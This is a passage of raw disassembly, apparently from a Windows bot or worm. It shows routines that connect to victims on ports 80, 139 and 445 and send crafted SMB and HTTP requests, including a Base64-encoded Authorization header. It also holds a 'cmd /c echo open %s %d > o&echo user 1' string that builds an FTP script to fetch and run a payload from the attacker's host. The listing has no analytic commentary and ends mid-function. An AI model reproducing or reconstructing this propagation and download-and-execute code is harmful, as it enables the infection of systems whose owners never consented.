		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_432054
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323C0
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323BC
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323B8
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_4323AC
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_4323A7+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CBA3C


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CBA20
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA74
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA74
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320E4
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432114
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE73C
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43205C
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432120
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43216C[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DBD8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA74
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432318
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB760
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4321B0
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CBA24
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA64
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBABC
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		call	near ptr 26803E7h
		nop


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


